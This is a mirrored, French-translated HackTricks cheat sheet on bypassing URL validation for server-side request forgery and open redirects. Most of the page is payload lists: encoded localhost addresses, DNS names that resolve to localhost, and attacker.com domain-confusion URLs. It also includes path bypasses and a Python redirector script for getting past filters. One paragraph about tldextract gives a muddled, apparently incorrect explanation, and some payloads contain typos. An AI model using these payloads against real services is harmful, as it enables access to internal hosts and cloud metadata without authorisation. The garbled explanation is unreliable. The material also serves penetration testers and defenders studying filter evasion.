mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-18 09:03:30 +00:00
217 lines
11 KiB
Markdown
217 lines
11 KiB
Markdown
# Contournement du format d'URL
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
|
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
### Localhost
|
|
```bash
|
|
# Localhost
|
|
http://127.0.0.1:80
|
|
http://127.0.0.1:443
|
|
http://127.0.0.1:22
|
|
http://127.1:80
|
|
http://127.000000000000000.1
|
|
http://0
|
|
http:@0/ --> http://localhost/
|
|
http://0.0.0.0:80
|
|
http://localhost:80
|
|
http://[::]:80/
|
|
http://[::]:25/ SMTP
|
|
http://[::]:3128/ Squid
|
|
http://[0000::1]:80/
|
|
http://[0:0:0:0:0:ffff:127.0.0.1]/thefile
|
|
http://①②⑦.⓪.⓪.⓪
|
|
|
|
# CDIR bypass
|
|
http://127.127.127.127
|
|
http://127.0.1.3
|
|
http://127.0.0.0
|
|
|
|
# Dot bypass
|
|
127。0。0。1
|
|
127%E3%80%820%E3%80%820%E3%80%821
|
|
|
|
# Decimal bypass
|
|
http://2130706433/ = http://127.0.0.1
|
|
http://3232235521/ = http://192.168.0.1
|
|
http://3232235777/ = http://192.168.1.1
|
|
|
|
# Octal Bypass
|
|
http://0177.0000.0000.0001
|
|
http://00000177.00000000.00000000.00000001
|
|
http://017700000001
|
|
|
|
# Hexadecimal bypass
|
|
127.0.0.1 = 0x7f 00 00 01
|
|
http://0x7f000001/ = http://127.0.0.1
|
|
http://0xc0a80014/ = http://192.168.0.20
|
|
0x7f.0x00.0x00.0x01
|
|
0x0000007f.0x00000000.0x00000000.0x00000001
|
|
|
|
# Add 0s bypass
|
|
127.000000000000.1
|
|
|
|
# You can also mix different encoding formats
|
|
# https://www.silisoftware.com/tools/ipconverter.php
|
|
|
|
# Malformed and rare
|
|
localhost:+11211aaa
|
|
localhost:00011211aaaa
|
|
http://0/
|
|
http://127.1
|
|
http://127.0.1
|
|
|
|
# DNS to localhost
|
|
localtest.me = 127.0.0.1
|
|
customer1.app.localhost.my.company.127.0.0.1.nip.io = 127.0.0.1
|
|
mail.ebc.apple.com = 127.0.0.6 (localhost)
|
|
127.0.0.1.nip.io = 127.0.0.1 (Resolves to the given IP)
|
|
www.example.com.customlookup.www.google.com.endcustom.sentinel.pentesting.us = Resolves to www.google.com
|
|
http://customer1.app.localhost.my.company.127.0.0.1.nip.io
|
|
http://bugbounty.dod.network = 127.0.0.2 (localhost)
|
|
1ynrnhl.xip.io == 169.254.169.254
|
|
spoofed.burpcollaborator.net = 127.0.0.1
|
|
```
|
|
### Analyseur de domaine
|
|
|
|
Le module `tldextract` est utilisé pour extraire le nom de domaine, le sous-domaine et le suffixe d'un URL. Cependant, il ne peut pas être utilisé pour analyser les URL qui ne sont pas conformes aux normes RFC. Pour contourner cette limitation, il est possible d'utiliser des caractères spéciaux pour encoder l'URL et la rendre conforme aux normes RFC.
|
|
|
|
Par exemple, l'URL `http://example.com` peut être encodée en `http://\example.com`. De cette façon, `tldextract` peut extraire le nom de domaine et le suffixe correctement.
|
|
|
|
Il est important de noter que cette technique peut ne pas fonctionner avec tous les outils d'analyse d'URL et que certains outils peuvent détecter et décoder les caractères spéciaux.
|
|
```bash
|
|
https:attacker.com
|
|
https:/attacker.com
|
|
http:/\/\attacker.com
|
|
https:/\attacker.com
|
|
//attacker.com
|
|
\/\/attacker.com/
|
|
/\/attacker.com/
|
|
/attacker.com
|
|
%0D%0A/attacker.com
|
|
#attacker.com
|
|
#%20@attacker.com
|
|
@attacker.com
|
|
http://169.254.1698.254\@attacker.com
|
|
attacker%00.com
|
|
attacker%E3%80%82com
|
|
attacker。com
|
|
ⒶⓉⓉⒶⒸⓀⒺⓡ.Ⓒⓞⓜ
|
|
```
|
|
|
|
```
|
|
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾
|
|
⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗
|
|
⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰
|
|
⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ
|
|
Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ
|
|
ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
|
|
```
|
|
### Confusion de domaine
|
|
```bash
|
|
# Try also to change attacker.com for 127.0.0.1 to try to access localhost
|
|
# Try replacing https by http
|
|
# Try URL-encoded characters
|
|
https://{domain}@attacker.com
|
|
https://{domain}.attacker.com
|
|
https://{domain}%6D@attacker.com
|
|
https://attacker.com/{domain}
|
|
https://attacker.com/?d={domain}
|
|
https://attacker.com#{domain}
|
|
https://attacker.com@{domain}
|
|
https://attacker.com#@{domain}
|
|
https://attacker.com%23@{domain}
|
|
https://attacker.com%00{domain}
|
|
https://attacker.com%0A{domain}
|
|
https://attacker.com?{domain}
|
|
https://attacker.com///{domain}
|
|
https://attacker.com\{domain}/
|
|
https://attacker.com;https://{domain}
|
|
https://attacker.com\{domain}/
|
|
https://attacker.com\.{domain}
|
|
https://attacker.com/.{domain}
|
|
https://attacker.com\@@{domain}
|
|
https://attacker.com:\@@{domain}
|
|
https://attacker.com#\@{domain}
|
|
https://attacker.com\anything@{domain}/
|
|
https://www.victim.com(\u2044)some(\u2044)path(\u2044)(\u0294)some=param(\uff03)hash@attacker.com
|
|
|
|
# On each IP position try to put 1 attackers domain and the others the victim domain
|
|
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
|
|
|
|
#Parameter pollution
|
|
next={domain}&next=attacker.com
|
|
```
|
|
### Contournement des chemins et extensions
|
|
|
|
Si vous êtes obligé de terminer l'URL par un chemin ou une extension, ou si vous devez contenir un chemin, vous pouvez essayer l'un des contournements suivants:
|
|
```
|
|
https://metadata/vulerable/path#/expected/path
|
|
https://metadata/vulerable/path#.extension
|
|
https://metadata/expected/path/..%2f..%2f/vulnerable/path
|
|
```
|
|
### Fuzzing
|
|
|
|
L'outil [**recollapse**](https://github.com/0xacb/recollapse) peut générer des variations à partir d'une entrée donnée pour essayer de contourner l'expression régulière utilisée. Consultez [**cet article**](https://0xacb.com/2022/11/21/recollapse/) pour plus d'informations.
|
|
|
|
### Contournement via redirection
|
|
|
|
Il est possible que le serveur **filtre la requête originale** d'un SSRF **mais pas** une possible réponse de **redirection** à cette requête.\
|
|
Par exemple, un serveur vulnérable à SSRF via : `url=https://www.google.com/` pourrait être en train de **filtrer le paramètre url**. Mais si vous utilisez un [serveur python pour répondre avec un 302](https://pastebin.com/raw/ywAUhFrv) à l'endroit où vous voulez rediriger, vous pourriez être en mesure d'**accéder à des adresses IP filtrées** comme 127.0.0.1 ou même à des **protocoles** filtrés comme gopher.\
|
|
[Consultez ce rapport.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
|
|
```python
|
|
#!/usr/bin/env python3
|
|
|
|
#python3 ./redirector.py 8000 http://127.0.0.1/
|
|
|
|
import sys
|
|
from http.server import HTTPServer, BaseHTTPRequestHandler
|
|
|
|
if len(sys.argv)-1 != 2:
|
|
print("Usage: {} <port_number> <url>".format(sys.argv[0]))
|
|
sys.exit()
|
|
|
|
class Redirect(BaseHTTPRequestHandler):
|
|
def do_GET(self):
|
|
self.send_response(302)
|
|
self.send_header('Location', sys.argv[2])
|
|
self.end_headers()
|
|
|
|
HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
|
|
```
|
|
## Astuces expliquées
|
|
|
|
### Astuce du backslash
|
|
|
|
En bref, l'_astuce du backslash_ repose sur l'exploitation d'une différence mineure entre deux spécifications "URL" : la [norme URL WHATWG](https://url.spec.whatwg.org/#url-parsing) et [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). RFC3986 est une spécification générique et polyvalente pour la syntaxe des _Uniform Resource Identifiers_, tandis que la norme URL WHATWG est spécifiquement destinée au Web et aux URL (qui sont un sous-ensemble des URI). Les navigateurs modernes implémentent la norme URL WHATWG.
|
|
|
|
Les deux décrivent une façon d'analyser les URI/URL, avec une légère différence. La spécification WHATWG décrit [un caractère supplémentaire](https://url.spec.whatwg.org/#authority-state), le `\`, qui se comporte exactement comme `/` : il termine le nom d'hôte et l'autorité et commence le chemin de l'URL.
|
|
|
|
![Les deux spécifications analysant la même URL différemment](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg)
|
|
|
|
### Autres confusions
|
|
|
|
![](<../../.gitbook/assets/image (629).png>)
|
|
|
|
image de [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/)
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
|
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|